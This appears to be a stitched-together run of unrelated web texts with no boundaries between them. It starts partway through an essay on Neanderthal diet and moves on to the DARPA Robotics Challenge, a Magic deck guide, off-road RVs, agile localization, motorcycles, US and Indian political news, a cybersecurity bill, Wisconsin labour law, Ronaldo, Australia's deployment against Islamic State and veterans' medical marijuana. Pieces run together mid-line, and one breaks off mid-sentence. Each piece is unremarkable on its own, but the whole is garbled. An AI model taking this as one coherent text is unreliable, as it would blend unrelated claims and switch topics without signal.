What is more, these Neanderthals lived in small groups with low genetic diversity. Added to the Denisova paper findings, we can begin to understand the population biology of the Neanderthals. As I have suggested previously, their populations became heavily fragmented and gene flow between them became reduced.
They were in crisis but not because of the arrival of modern humans. Like pandas today they were in danger of extinction.
They were not in such danger because they were ape-like brutes either. A paper published this week in the Proceedings of the National Academy of Sciences has provided conclusive evidence that Neanderthals regularly ate plants and even cooked them before eating them!
A detailed study of Neanderthal teeth from Spy in Belgium and Shanidar in Iraq found traces of plant matter including grass seed starches that had been cooked. We had suspected that Neanderthals consumed plants for some time, and it was logical to do so, but now we have the evidence.
So those who claimed that Neanderthals only ate meat, an almost physiological impossibility, have to rethink their argument.
Seafood platter
In 2008, we published evidence of marine mammal and mollusc consumption by Neanderthals in Gorham's Cave, also in the PNAS journal. I have been arguing that omnivory is a defining characteristic of the genus Homo, including the Neanderthals, and these latest findings have confirmed this conclusion.
So the Neanderthals weren't stupid apes but humans, and they interbred with our own ancestors. Yet they were affected by environmental perturbation and went extinct.
Image caption Neanderthals living at Gibraltar enjoyed a broad menu including monk seals
This is a lesson for us all to learn. But in spite of the evidence there are those who will resist. A hallmark, for the archaeologists, of modern humanity has been the Upper Palaeolithic technology.
In recent years the boundary between this technology and its makers has become increasingly diffuse and I would argue that technology can no longer be used as proxy for human taxa.
Now, the findings at Denisova have included typically Upper Palaeolithic technology. It would be ironic if we were to establish that it was the Denisovans, not modern humans, who had made them.
But the authors of the Denisova paper are unsure of the association between the bones and the tools and have opted for "the reasonable hypothesis that the phalanx and molar belong to the older occupation".
In other words the Denisovans lived prior to 50,000 years ago and the tools were made between 30,000 and 23,000 years ago by invisible humans.
Professor Clive Finlayson is director of the Gibraltar Museum and adjunct professor in the Department of Social Sciences at the University of Toronto. He is the author of Neanderthals and Modern Humans (Cambridge University Press, 2004) and The Humans who went Extinct (Oxford University Press, 2009).Image: DARPA
Advertisement
We’ve been collecting DARPA Robotics Challenge-related videos for the last several months, and this post is an attempt to put a bunch of them together in a way that showcases the current state of the robots of the DRC Finals just before the competition starts. Looking through these will show you how capable many of the teams are right now (or within a few weeks or so), providing a metric for where your expectations should be for the competition itself. Of course, past performance is no guarantee of future results. But as you watch, these videos will give you an idea of what’s fast, what’s slow, what robots seem to be doing well, and what robots seem to be doing amazing.
Note that these videos are at least a week or two out of date, and they’re totally biased towards teams that have been, you know, actually posting videos on YouTube, so there might be robots that are doing equally well but you won’t see them here. Nonetheless, this is the best cross-section of pre-event capabilites we’ve got, and it should give you a pretty good sense of what to expect when the Finals kick off on Friday.
The Course
On Monday, the DRC Teams all got a course walkthrough, and we’ll get ours on Thursday, so look for a post tomorrow afternoon or evening with lots of details. Meantime, here’s a video from a DRC “testing event” on a mockup course that some teams participated in back in April:
And here’s Team IHMC Robotics running through a mockup of the whole damn thing:
That run included having their ATLAS robot get out of the vehicle. That’s impressive.
Also impressive is that Team MIT also has a complete runthrough:
And Team WPI-CMU is almost there too:
Wondering which are the teams to beat? You just saw three of ’em.
Surprise Task
We won’t know about the surprise task until Friday, of course, but we do know that it will be a stationary manipulation task, and here’s a reasonable guess from Team KAIST:
Team IHMC’s video (above) also suggests that it might be a plug task, while MIT is guessing a switch and a button.
Walking
Bipedal robots walk. It’s what they do. They may have to deal with different kinds of surfaces (even on the flat bits of the course), and Team VALOR’s ESCHER has been practicing:
Meanwhile, Team MIT has demonstrated a very fast (and stable) walking gait:
As has Team WPI-CMU:
Not Walking
Walking is hard, and falling is a huge risk. Some robots are doing their best to avoid walking, including Team Tartan Rescue’s CHIMP (which has leg treads), Team RoboSimian’s quadruped robot (which has butt wheels), and Team DRC-HUBO at UNLV’s HUBO humanoid, which has knee wheels:
We’ve also got two wheeled quadrupeds, Team Grit and Team NimbRo:
And if you look closely, you’ll see Team Aero’s impressive set of leg treads:
Not Falling Over
Stability is inherently difficult for bipeds, especially while moving, but not falling over is both difficult and critical to completing the course in time (and in one piece). Both IHMC and MIT have developed algorithms that are at least somewhat resilient to disturbances, and MIT’s even works while the robot is walking:
Falling Over and Getting Up
We have not seen any videos of live DRC robots falling over and then getting themselves up again. That should tell you something. If you’ve got one, send it to us, we’ll be SUPER IMPRESSED. That said, Team ROBOTIS is at least able to get up from the ground:
Team HKU’s ATLAS can (almost) do the same, but the team figures that if they fall, it’ll probably be on the terrain task, so they won’t be totally flat on the ground anyway:
Driving
The driving portion of the course will be a lot like the DRC Trials, except longer. Team WALK-MAN has a bunch of good driving footage:
Egress from Vehicle
Egress (getting out of the vehicle) will probably be the most difficult task in the DRC Finals. Team IHMC showed that they could do it (in the course video above), and Team KAIST also makes it work in their compilation video (about :40 in):
MIT, meanwhile, can get out of the vehicle while it’s being shaken (!):
Good for disaster operations during aftershocks!
Sensing
Doing things involves seeing things. Most teams aren’t posting a lot of this stuff, but MIT is, and it’s very important to the context of everything that the robots will be doing in the Finals, so let’s have a look at how their system lets humans interact with the robot.
Here’s a sensor visualization (what a human operator would see) of MIT’s ATLAS running a course:
And this is the same run from the robot’s perspective, integrating point clouds from lidar and stereo cameras and geometric models of the robot and scene objects into one view (played back at about 6x speed). Note that during the DRC, this is probably too much data to be streamed back to a remote user over DARPA’s intentionally intermittent communications link:
For a little bit of additional cleverness, MIT has realized that turning point clouds into objects is a potentially difficult perception problem for robots, but it’s easier for people to do quickly:
We’d expect that techniques like these could make a significant difference to which teams are more efficient at completing tasks through the use of guided autonomy.
Everything Else
Just remember, the DRC Finals are very important because they will help us develop robots that will mean that no human ever has to do this ever again:
[ DARPA Robotics Challenge Finals ]Hello!
This is an Aristocrats deck. The goal of this deck is to swarm the board with small creatures and use creature sacrifice outlets to milk them for value. Down below is my thought process behind the card chioces.
Zulaport Cutthroat - A really strong card that works very well with a lot of creatures because it drain your opponent for one for each creature that dies.
Hidden Stockpile - This is a card that makes the deck worthwhile, It's a sacrifice outlet that provides a lot of value. Might not look powerful on paper but trust me, it really is super strong.
Sram's Expertise - This card floods the board and is also a strong tempo play.
Yahenni, Undying Partisan - Yahenni is one of the reason's to play this deck. She(?) can protect herself and punishes your opponent for killing thier own creatures. She also synergizes well with Sram's Expertise.
Weaponcraft Enthusiast - This is basicly three creatures for three mana, cant say no to that! The enthusiast also combos well with Sram's Expertise.
Shambling Vent - A man land that can be sacrificed.
Servo Exhibition - Two bodies for two mana. What's not to like?
Hanweir Militia Captain - The Milita Captain can produce dudes, which is nice.
Bone Splinters - This is basically a one mana removal spell, fits well in this deck.
Angel of Invention - Buffs the whole board while flooding it.
Westvale Abbey - A strong card that can win games by itself.
Archangel Avacyn - Not to sure about this one, but it protects your board while providing a huge body. I'm just a bit iffy about the transformation.
Selfless Spirit - Protects your board from board clears.
Authority of the Consuls - This is here against the crazy cat lady combo (Saheeli Rai + Felidar Guardian) that everybody seems to be runnig.
Some notable choices - I've decided to cut Master Trinketeer and Syndicate Trafficker because they didn't perform very well in testing.
Thanks for checking my deck out! If you have any suggestions please put them in the comments down below and we can talk about it! If you like this deck, you may also like my Mono black control deck! (Standard) (http://tappedout.net/mtg-decks/mono-black-control-aether-revolt-standard/)If you're new here, you may want to subscribe to our RVer's Newsletter or check out our main website. Thanks for visiting!
Off-Road RV – Outdoor Adventure
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Best For: Clandestine Operators With Cool Call Signs Like ‘Night Stalker’
About: Tiger produces 6 models, all based on heavy duty consumer trucks or vans.
Highlights: Javan: At $88,900 the Javan is a RV with the price of a sports car
Price: $88,900 to $220,800
Best For: The Practical Traveler
About: 2 axles not enough? How about 3? No? Ok, Action Mobil will sell you a 4 axle RV. Their model line includes six 2 axle models, four 3 axle models, and their big daddy 4 axle Desert Challenger perfect for storming any front with all the interior comforts of a modern condo.
Highlights: Desert Challenger: 600 horsepower, 8 wheels, 30 tons, originally created for carrying missiles
Price: A Lot
Best For: Invading Canada When The Time Comes. Soon…
About: The Alpha Camper is ATW’s sole offering and is built on a Mitsubishi Fuso 4×4 truck which offers space for 6, a shower, and a kitchen. This one comes all the way from down under in Australia so hopefully, there is a kangaroo included.
Highlights: Three, 120 watt solar panels to keep electrics going without using any diesel
Price: Contact for Pricing
Best For: Exploring The Outback
About: From the outside, the Applied Minds KiraVan looks more like a NASA vehicle for a mission to Mars than an RV. With hundreds of buttons, switches, and digital gauges the cabin resembles the control center of NORAD. Teleporter optional.
Highlights: I mean, just look at it!
Price: More Than Your Life
Best For: A Bond Villain
About: The Australian built Pure Offroad RV was developed for handling real trails and not just looking monstrous but still has all the comforts expected in a $100,000 RV.
Highlights: Has the same tires as NATO vehicles in Europe and a “twisting” chassis to maintain ground contact in rough stuff
Price: $90,000 to $100,000
Best For: A Quick Escape
About: At only $30,000 and with a length that is only slightly longer than a standard Jeep 4×4, this Wrangler based pop-up camper is the smallest and most accessible RV on the list. It’s not a rolling apartment like many of the other bigger RVs but what it lacks in size it makes up in usability.
Highlights: Camper body is removable for normal Jeep use
Price: $30,000
Best For: The Weekend Warrior
About: All the other vehicles on this list are measly variations of a basic off road RV, but what if you need to do some real James Bond stuff? Then check out the Terra Wind, an amphibious RV with a staggering $1.2M price tag.
Highlights: Can reach 80 mph on the road and 7 knots on the water
Price: $1,200,000
Best For: Richard Branson
Know Of Any Other Cool Off-Road RVs?
Be sure to leave us a comment with your favorite one!
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I think many of those who are working in translation industry already got used to small chunks of work that need to be translated within short turnaround time. And buzzword "Agile" emerged as one of popular tendencies. What does it mean in terms of localization?
What is Agile?
Agile is development practice and methodology that focuses on frequent delivery of working software, continues changes, tight collaboration between team members. In agile, there are two-week sprints, after each sprint there is software release. Usually team members hold short stand-up meetings every day during which they discuss work progress, new and existing features, define what piece of work each person is responsible of. As a result, they achieve tighter communication between team members, better understanding of requirements and final goal, and more flexible development process.
The difference between traditional waterfall and agile model is that in the first case all software requirements are strictly defined before development starts and it is hard to change them in the process. And in agile, requirements are changing very frequently and they are adapted regularly to appropriate circumstances.
How localization can become part of agile development?
In terms of localization, agile is more challenging than traditional waterfall process when development took a few months or even year. After finalization of release stings were collected, externalized and sent for translation. Translators had enough time to familiarize with the source and references, software, app, game or web-site they’re working on.
In the case of agile, localization starts after each sprint and often during the sprint (when new approved and updated strings are sent automatically for translation). So it is important to build dedicated team of translators and editors who are trained to use appropriate style and terminology, familiar with the product. Oftentimes those people are responsible for linguistic testing before the release.
In agile development projects, the localization project manager shall take part in stand-ups so he or she can pay attention of team to localization plans, work closely with developers, product managers and copywriters on issues that arise.
Localization teams should be trained in agile so they know its main principles and act accordingly for better collaboration with other team members and achieving more efficient results.
Moreover, localization process and tools need to be able to handle rapid iteration and support removal of obsolete content, frequent updating of refactored code.
Agile localization benefits and challenges
In my mind, no matter which parts of localization you’re involved in – management, development, translation – agile should be perceived as opportunity, not as threat. It allows to have a better localization process for managers; to have more constant and predictable flow of work, to work closely with developers and copywriters for translators and editors; to have more efficient collaboration and faster fixing of localization issues for developers.
When set up correctly, agile localization process can bring substantial benefits: new strings and updates are pushed automatically and you don’t need to worry about duplicated strings, reviewing of matches and manual extraction of strings. Translators can automatically receive notifications if there is a need to translate new strings or they can visit your “translation center” from time to time to check for updates. But in order to maximize benefits, your team has to invest time and efforts to set up processes and tools appropriately in the early stage.
Early sprints can be used for collecting key terms, creating definitions and translations of terminology, recommending improvements to the source text and the overall style of authoring. Special attention should be paid to controlled authoring (usage of controlled language) because language consistency increases reuse opportunities and therefore reduces localization cost.
Also, best practice is to create translation memory, localization kits, and references so you can identify obsolete strings quickly, and have materials to rely on for quick updates and validation.
Because software is changing frequently, UI and help materials should be updated accordingly and translated into multiple languages. In this case, it is important to have dedicated translation team (of in-house translators, freelancers or agency) so they can work on translation immediately after new strings are ready so software, app or game is simultaneously shipped multilingual.
A good practice during agile localization is to perform linguistic testing after translation of new resources is ready. It can help to find translation mistakes prior to release and to catch some functional bugs and bring them to developers’ attention.
In my opinion, there are many “shades” of the so-called agile localization and it is hard to find pure implementation of agile methodology during localization.
But nevertheless, agile opens many opportunities for all localization players. It just requires many efforts to gain more productivity and efficiency.
Image source: Microsoft
Written by Marta Chereshnovska Marta Chereshnovska is a translation and localization specialist (English>Ukrainian, English>Russian). She has seven years of translation, localization, and subtitling experience. She has worked on information technology, telecom, marketing translation, and localization projects (software, hardware, web, mobile, games).
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PocketRC Dept’s Honda Dominator: Big style from a tiny country The modern custom scene has infiltrated the most distant corners of the world. This very slick custom Honda Dominator comes from the tiny European principality of Andorra—the 16th smallest country in the world. (At 181 square miles, it’s about an eighth of the size of Rhode Island.) Despite its compact dimensions, Andorra is now home… Read more »
The Best of the 2019 Mama Tried Motorcycle Show There are only four or five months of good riding weather in the American Midwest. The rest of the time, motorcyclists keep sane by wrenching. And nothing offers more inspiration than the annual Mama Tried motorcycle show in Milwaukee. The sixth edition of the show happened just last weekend, shortly after the polar vortex was… Read more »
A Ducati speedway motorcycle, imagined by Wreckless If race bikes are motorcycling in its purest form, speedway machines must be akin to holy water. They have no brakes, just one gear, and drink neat methanol. They’re also rather squashed-looking machines, with stubby hardtails and forks raked steeper than the most extreme sportbike. But this creation from England’s Wreckless Motorcycles is a thing… Read more »The poll finds that among all Americans, the 2012 rivals would be tied at 47 percent. | AP Photos Poll: Romney beats Obama today
As more bad poll numbers continue to pour in for President Barack Obama, a new survey finds that if the 2012 election matchup were held this month, Mitt Romney would hold the edge with the voters.
Romney topped Obama 49 percent to 45 percent among registered voters in the Washington Post-ABC News poll released Tuesday. Among all Americans, the 2012 rivals would be tied, at 47 percent.
Story Continued Below
Obama beat Romney 51 percent to 47 percent a year ago to win a second term.
( PHOTOS: Mitt Romney through the years)
The poll also found more bad news for Obama: His approval was down to 42 percent, a fall of 6 points from a month ago. Fifty-five percent disapproved of the job he is doing as president.
Support for the president’s signature health care law was also down 6 points since late October, standing at 40 percent. Fifty-seven percent said they oppose the law. Similarly, approval of Obama’s handling of Obamacare was also underwater, with 33 percent approving to 67 percent disapproving.
The Post surveyed 1,006 adults from Nov. 14 to 17 for the poll, which has an error margin of plus or minus 3.5 percentage points.
( WATCH - Romney: It kills me to not be president)
Follow @politicoAs India evolves and communication technologies improve by the day, the role of the media in India’s future is becoming increasingly critical. The tendency to report based on unverified information is fast becoming the norm, as you will see in the case of the various articles referenced here.
Take the example of this news report on Kumar Vishwas’ rally in Amethi. It clearly says that the event was a success despite some hiccups. Now, take a look at this report that deems it a flop! It’s the exact same event that is being reported on. But the conclusions are diametrically opposite. Clearly, they both can’t be true! The issue of whether an event is a success or a flop can be a matter of opinion. But there should be no ambiguity about the real “data” – how large the crowd was, the response of the crowd, etc.
Here is another interesting example. The Faking News website put out a piece (obviously meant to be tongue-in-cheek) that the AAP was going to make the Metro free for up to three stations. Interestingly, this has been believed by many as the truth. Check out this expert’s piece where he refers to free metro rides! Meanwhile, here is another expert who refers to 90% reservation in Delhi colleges by the AAP government as though it were a fact!
All of this can be ignored at some level as mere noise. But there is another side to the complete lack of investigative rigor practiced by our media. Irresponsible reporting can have very severe unintended consequences. Take the case of the recent death of Sunanda Pushkar. It has hit the headlines of most newspapers, but some of the reports appear to be based on mere speculation. If you read some of the reports carefully, there has been very little in terms of actual confirmation of facts. It is sad enough that someone died under mysterious circumstances, but it’s pathetic that the media adds speculation about the cause of death without paying attention to actual facts or corroborative evidence.
The case of drug trafficking in Delhi and the purported actions of the AAP’s minister, Somnath Bharati, is yet another example. Almost every major newspaper has termed this as “vigilantism,” referring to the “mid-night raid” by the minister and AAP volunteers, calling for the minister’s dismissal, etc. The Congress and BJP leaders were quick to call the AAP leaders “anarchists.” People who read these media reports were quick to conclude and pronounce their verdicts on social media saying, “Bharti should be dropped from the cabinet.”
Anyone who reads all the media reports is bound to come to similar conclusions. It is then that I came across another interesting piece written by an individual who is much closer to the actual location arguing to the contrary! Then, another individual from the same locality spoke on a TV debate (scroll to the 41 minute) confirming this view. Later, Arvind Kejriwal, in a free-wheeling interview, gives his side of the story which is much closer to the two pieces I just referred to. Also, R.K Singh, former home security, openly accused the home minister of a whole host of things that seems to bolster the stand of the AAP government in Delhi. Meanwhile, the AAP released its own video based on Kejriwal’s interview with a major news channel. Then, there was this news report about the women being attacked by the minister and AAP supporters. Following this, there was a report that the Ugandan women actually thanked the Delhi government for their actions!
Who and what is to be believed? This incident was a perfect example where the media could have done its ground work and come out with a stellar report piecing together the exact sequence of events. Were repeated complaints made by the people in the area like the AAP government claimed? Was it a well-known that there was a drug and sex racket in the area? What actually happened on the night of the incident? What was the police version? Did they actually run away from the site and why? Were the foreigners involved subjected to ill-treatment? Were they humiliated in public?
Yet another case in point is the recent Janata Durbar of the Delhi CM. Twenty thousand people turned up for the event. It’s true that the crowds were unmanageable and the CM was forced to leave the venue. On the one hand, it is evident that the people have tremendous faith and hopes in the current Delhi government. On the other hand, it |
, such a tagger that guides other players rockets. Check out the trailer. It doesn’t quite have the same velocity as the gif above, but I suspect it’s truer to the overall tone.
So that, and space sharks. It’s out now, in a beta sort of way.ADVERTISEMENT
The draft bill would task the National Institute of Standards and Technology (NIST), a Commerce Department agency, with developing voluntary cybersecurity standards and best practices for critical infrastructure, such as banks and power plants.
The legislation also aims to improve cybersecurity research, education and public awareness.
A sticking point last year for Senate Republicans was a provision in the cybersecurity bill that would have given the Department of Homeland Security the authority to enforce mandatory cybersecurity standards for critical infrastructure. Backers of the legislation, including Rockefeller, argued the mandatory standards were necessary to protect vital systems from hackers, but critics considered them harmful overregulation.
Revisions last year to make the standards voluntary failed to win over the bill's opponents.
The Senate is expected to work on several separate cybersecurity bills this Congress through the normal committee process, as opposed to the single comprehensive bill that was brought directly to the Senate floor last term.
Rockefeller would support legislation to improve information sharing between the government and private sector on cybersecurity, the committee aide said. But that issue would likely be handled by the Senate Intelligence Committee.
Earlier this year, the House passed its own cybersecurity bill, the Cyber Intelligence Sharing and Protection Act (CISPA), which focused only on information sharing and did not include any security standards.Wisconsin’s Republican state legislature pressed ahead with their plan to enact “right to work” legislation aimed at curbing union power, clashing with labor leaders at a contentious committee meeting on Tuesday.
Hundreds of union members roared in protest against the bill outside the state capitol in Madison. The demonstration was reminiscent of, if far smaller than, the huge protests in 2011 that sought to stop Governor Scott Walker, a possible 2016 presidential candidate, from enacting a law curbing collective bargaining for most of the state’s public sector unions.
Wisconsin anti-union bill is 'word for word' from rightwing lobbyist group Read more
Republicans on Tuesday hailed the right-to-work legislation, saying it would promote employee freedom and economic competitiveness. But opponents of the bill – which would make Wisconsin the nation’s 25th right-to-work state – insisted that its underlying purpose was to weaken labor unions and that its result would be lower wages.
Legislative leaders have called an extraordinary session to take up the bill, which would bar any requirement that employees at private sector workplaces pay union fees. Republicans are in firm control of both houses of the Wisconsin legislature and Walker has said he would sign the bill if it is sent to him.
Scott Fitzgerald, the Wisconsin senate majority leader and author of the bill, testified at Tuesday’s hearing, saying the legislation would be a “game changer” for Wisconsin in attracting business. Wisconsin Republicans say their state needs to enact right-to-work legislation to remain competitive because nearby Indiana and Michigan have adopted such laws in recent years.
Fitzgerald said: “This issue, at its heart, is about worker freedom.” The legislation, he said, would bar any requirement that private sector workers join unions – even though under federal law private sector workers already cannot be required to join unions.
Facebook Twitter Pinterest Kevin Flynn, left, and Knut Lombard, both members of the International Union of Operating Engineers, join labor workers in a rally outside the Wisconsin state capitol on Tuesday. Photograph: John Hart/AP
The session began as the executive committee of the AFL-CIO, the main federation of US unions, was holding its winter meeting in Atlanta. Labor leaders denounced the developments at the meeting, with several union presidents complaining that right-to-work bills encourage “free riders” who can opt out of paying union fees, depleting union treasuries, while continuing to receive union representation and services such as grievance hearings.
“This right to work sham is about much more than unions,” Richard Trumka, the AFL-CIO’s president, said in a statement. “It is simply the next step in the billionaire rightwing’s attempt to strip our freedoms to bargain with our employers as we see fit, ensure safe workplaces and raise wages across the country.”
Republicans are pressing ahead, even though Walker just a few months ago cautioned the legislature not to take up right to work. In December he said: “As I said before the election and have said repeatedly over the last few years, I just think right-to-work legislation right now... would be a distraction from the work that we’re trying to do.”
Last fall, Walker moved to the middle politically as he sought to attract moderates while running for re-election. In recent weeks, as he considers a presidential run, he has pivoted right to woo conservatives – on abortion, right to work and other issues.
Fitzgerald said he called the extraordinary session on short notice to avoid a replay of the giant 2011 protests. “It sends a strange message to people outside of Wisconsin that maybe Wisconsin isn’t the place to expand your business or to certainly locate,” he told the Associated Press.
Right-to-work laws are every Republican union-hater's weapon of choice | Michael Paarlberg Read more
Phil Neuenfeldt, president of the Wisconsin AFL-CIO, denounced the extraordinary session. “If right to work was any good for this state, we wouldn’t see it being tried to pass this quickly, with limited debate in an attempt to circumvent democracy,” he said.
John Ahlquist, a University of Wisconsin political scientist, said he thought the session was timed to take the public’s focus off the much-criticized budget cuts Walker had proposed, especially to the university.
Ahlquest said the legislation was about far more than competitiveness. “More than anything else, right to work is to make it harder for unions,” he said. “The primary goal is to weaken them, to weaken the base of the Republicans’ political opponents.”
Scott Marley, the top lobbyist for Wisconsin Manufacturers and Commerce, has pushed hard for right to work, saying it helped Indiana attract thousands of jobs. “If we don’t pass right to work, we really risk falling behind in Wisconsin and putting ourselves at a competitive disadvantage for job-creation projects,” he said in a video.
Testifying against the legislation on Tuesday, Gordon Lafer, a University of Oregon professor of labor studies, pointed to a study saying wages in right-to-work states are 3.2% below those in non-right-to-work states. “If right to work didn’t lower wages and benefits, there would be no reason to think it would draw new employers into the state,” he said.Cristiano Ronaldo paid tribute to a young fan who was killed in the Mexico City earthquake last month by meeting his family in Madrid.
Santiago Flores Mora was one of the 19 children that perished in the rubble of an elementary school which collapsed in Mexico City following last month's earthquake that killed 358 people.
He was a big fan of Real Madrid and Ronaldo, as his mother explained in an emotional letter on Twitter two days after the tragedy and on the day Santiago would have turned seven years old.
In that letter the mother described that her son dreamed of meeting the Portugal captain one day and regretted that while Santiago was alive she did not give "importance to the love her son felt for Ronaldo."
Madrid treated Santiago's parents and younger brother Leonardo to a tour of the Santiago Bernabeu last weekend, while club president Florentino Perez handed a team jersey with Ronaldo's No. 7 to the boy's father.
The visit also included a meeting with Ronaldo and other Madrid players. Ronaldo was aware of Santiago's tragic story and had last month replied to the boy's mother on social media.
He had posted a photograph of himself holding a Madrid jersey with the message "to my No. 1 fan, Santiago."
En este momento de dolor, envío a la familia de Santiago y a todas las familias que han perdido sus seres queridos un enorme abrazo. pic.twitter.com/odD28aFPfv — Cristiano Ronaldo (@Cristiano) September 24, 2017
Santiago's father thanked Madrid and Ronaldo for honouring his son's memory and said on Real Madrid TV: "The club invited us and this is a present that we got thanks to our son who had a special admiration for Cristiano and for Real Madrid."Islamic State: Australia to deploy military force to UAE to prepare for international action against militants in Iraq
Updated
The Federal Government is sending 600 Australian personnel to the Middle East in preparation for military action against Islamic State (IS) militants in Iraq.
Prime Minister Tony Abbott said the United States had specifically requested Australia contribute to an international strike against the militants, who have captured large swathes of territory in Iraq and Syria.
Mr Abbott said around 200 troops would be sent to the United Arab Emirates within days, including a Special Forces contingent "that could act as military advisers to the Iraqi armed forces or to the Peshmerga".
They would be followed by around 400 Air Force personnel, up to eight Super Hornet aircraft, an early warning and control aircraft and an aerial refuelling aircraft.
Mr Abbott said Australia was "not deploying combat troops but contributing to international efforts to prevent the humanitarian crisis from deepening".
"Again I stress that this is essentially a humanitarian operation to protect millions of people in Iraq from the murderous rage of the ISIL movement," he said, using an alternative name for IS.
"Again I stress that this movement is neither Islamic nor a state. It is a death cult reaching out to countries such as Australia.
Sorry, this video has expired Video: The implications of sending troops to Iraq (7pm TV News ACT)
"This is about taking prudent and proportionate action to protect our country and to protect the wider world against an unprecedented terrorist threat."
Mr Abbott said Cabinet and the National Security Committee met earlier on Sunday to discuss the matter.
He said the action was part of an international coalition, "not simply something that is an American-Australian operation".
"So far, there are a number of countries, western and Middle Eastern, that have indicated that they are prepared to contribute to military operations inside Iraq," Mr Abbott said.
"The United States, the United Kingdom, France, Canada, Jordan, Bahrain and the United Arab Emirates, as well as Australia."
Mr Abbott said "there are obviously further decisions to be taken" before Australian forces commit to combat action against IS militants.
Force deployed to combat IS 8 F/A-18F Super Hornet aircraft
1 early warning and control aircraft
1 aerial refuelling aircraft
400 personnel to support air deployment
200 military personnel, including a special forces contingent to act as "military advisors"
"Should this extend into combat operations, it could go on for some time," he said.
Dr Rodger Shanahan, a former Army officer who is now a non-resident fellow with the Lowy Institute, said it was hard to say how long the mission will last.
"We don't know what the mission itself is, because it's a precautionary deployment, but you would assume you wouldn't deploy unless they assume they're going to be used," he told ABC News 24.
"We assume it's going to be battling Islamic State. The question is how long is a piece of string? You assume this will last months at a minimum."
The Chief of the Defence Force, Air Chief Marshal Mark Binskin, said the safety of troops would be foremost in his mind.
"What we're talking about here is a highly complex operating environment in the Middle East and it continues to evolve," he said.
"We now have a fairly substantial amount of work to do in planning to undertake this deployment and that will include very careful mission planning, force preparation and importantly force protection measures for our force."
Move will be a rallying cry for jihadists: Greens
Opposition Leader Bill Shorten was briefed prior to the announcement and backed the Government's actions.
"We're all in this together. The PM and I are partners in national security," he said.
Greens leader Christine Milne accused the Government of "blindly [following] the United States into another war in Iraq and Syria".
Analysis: Michael Brissenden Defence correspondent Michael Brissenden told ABC News 24 it is an "open-ended" commitment.
The PM says that no decision yet has been made on actually deploying them from the base at UAE but clearly they're being deployed there with the intent to do just that.
There will be no Australian troops' boots on the ground as such.
Although SAS personnel will be involved in training Peshmerga and Iraqi forces and advising them and, in that sense, there'll be boots on the ground, they won't be involved in the combat.
The interesting thing about this though is that it is a very much an open-ended commitment.
The PM said it would be months rather than weeks. He says our contribution will... continue to be monitored continuously.
"It's really a shocking day for Australia that after 'all the way with LBJ' with the Vietnam war, after John Howard and George Bush, we now have Tony Abbott throwing in his lot with the United States and risking young Australian lives," she said.
"Tony Abbott has made an open-ended commitment to support a new war in Iraq, no limitations on the number of people who may end up deployed, or indeed the timeframe on how long they might be there.
She said there was no doubt in her mind that "entering a Middle East war with the United States will be a rallying cry for jihadists to try and recruit young disaffected people against what they will propose as a western imperial drive into Iraq and Syria".
But Dr Shanahan said that was unlikely to be the case.
"The people who are that way inclined have already decided that countries like the US, the UK and Australia are all part of some conspiracy that targets Muslims throughout the world, and so us providing armed forces as part of a coalition might reaffirm in their minds this notion that they already have," he said.
"I don't think it's going to make it any more of a threat than it previously was."
Former Army chief Peter Leahy said the Government was making the right move.
"I don't think we're blindly following the US. The US has made a clear statement. Our Prime Minister has made a clear statement and he's talking about it openly and I applaud him for that," he said.
"This is something that needs to be done and the strength of the coalition that is being pulled together just gives firm testament to the fact that this has to be done."
'Cruelty on an extraordinary scale'
Australia has previously delivered weapons to outgunned Kurdish forces and dropped humanitarian aid to communities under siege from IS.
Mr Abbott's announcement came after IS released a video purporting to show the beheading of captured British aid worker David Haines.
The footage, described by British prime minister David Cameron as "pure evil", followed the same pattern as videos of showing the murder of American journalists James Foley and Steven Sotloff.
Mr Abbott said he reacted to the video with "shock, horror, outrage, fury", adding that it strengthened his resolve to defeat IS.
He said IS militants were responsible for "cruelty on an extraordinary scale".
"We've seen beheadings, crucifixions, we've seen mass executions, we've seen hundreds of thousands of people driven from their homes, we've had women forced into sexual slavery, we've had the deaths of very young children, we've had tens of thousands of people besieged on Mount Sinjar," Mr Abbott said.
"What we have seen is an exaltation in atrocity unparalleled since the Middle Ages. All I know is that decent people everywhere regardless of their religion, regardless of their culture, should unite against it."
Mr Abbott will visit New York on September 24 and 25 to participate in the high-level UN Security Council meeting which is to be convened by US president Barack Obama.
Last week, in a speech broadcast live to the nation, Mr Obama said he would not send US combat troops to fight IS, and that the US would act in concert with a broad coalition including Western allies and Arab states.
"Our objective is clear: we will degrade and ultimately destroy ISIL through a comprehensive and sustained counter-terrorism strategy," the president said.
Mr Obama outlined a four-pronged strategy which included expanded air strikes and sending another 475 troops to train local forces.
Topics: world-politics, defence-forces, defence-and-national-security, terrorism, unrest-conflict-and-war, asia, australia, iraq
First postedMarine veteran Bryan McMillan, left, and Army veteran Kevin Richardson dump a box of pill bottles in front of the White House on Nov. 11, 2015. A veterans group and a marijuana activist organization have called a similar protest featuring a "die-in" and public cannabis consumption. Ricky Carioti/The Washington Post/Getty Images
Marijuana reform advocates celebrated Thursday as Congress approved a spending bill amendment aiming to allow Veterans Health Administration doctors to authorize medical pot use for patients – but activists pressing for deeper reform still intend to smoke illegally and lay in the street in acts of civil disobedience near the White House on Friday.
The legislative win follows a Senate committee’s April passage of the same amendment in a 20-10 vote. The House’s Thursday vote, 233-189, featured 57 Republicans joining all but five Democrats in favor. Last year, the House narrowly rejected the measure, but the Senate then passed it as part of the underlying bill and did so again Thursday.
The anticipated reform comes after Congress in 2014 and again last year banned the Justice Department and its subsidiaries – including the FBI and DEA – from using appropriated funds to undermine state medical marijuana programs. The veterans measure met some resistance from lawmakers who pointed out the drug remains illegal under federal law.
Rep. Charles Dent, R-Pa., said he was unenthused to represent the opposition during debate. “I understand the country is evolving,” he said, “I’m uncomfortable, however, in trying to dictate policy on marijuana without guidance on the FDA, NIH and other medical professionals.” Research into medical benefits ascribed to the drug is made difficult by marijuana’s decades-old designation as a Schedule I substance.
Last year, Dent was more energized in his opposition, warning: “The amendment won’t change the situation for veterans unless the doctors are willing to risk prosecution,” even though federal enforcement actions are rare against providers or the estimated 1 million state-legal marijuana patients.
Attorney Brandon Wyatt, an Iraq War veteran who uses medical marijuana in the nation’s capital, says he’s happy with the action in Congress but still plans to help lead the Friday protest at the White House in his role as policy coordinator of Weed for Warriors.
Wyatt says the government should pay for veterans’ medical marijuana and better track veteran suicides, and he points out that veterans living in the 26 states that do not allow medical marijuana won’t benefit from the spending bill amendment.
“To treat veterans differently from state to state is wrong,” he says. “We didn’t fight for state to state, we fought for the whole country.”
The Veterans Health Administration currently does not allow its physicians to discuss marijuana as a treatment option with patients in states with medical pot laws, forcing veterans to turn elsewhere for guidance and the paperwork necessary to acquire the drug.
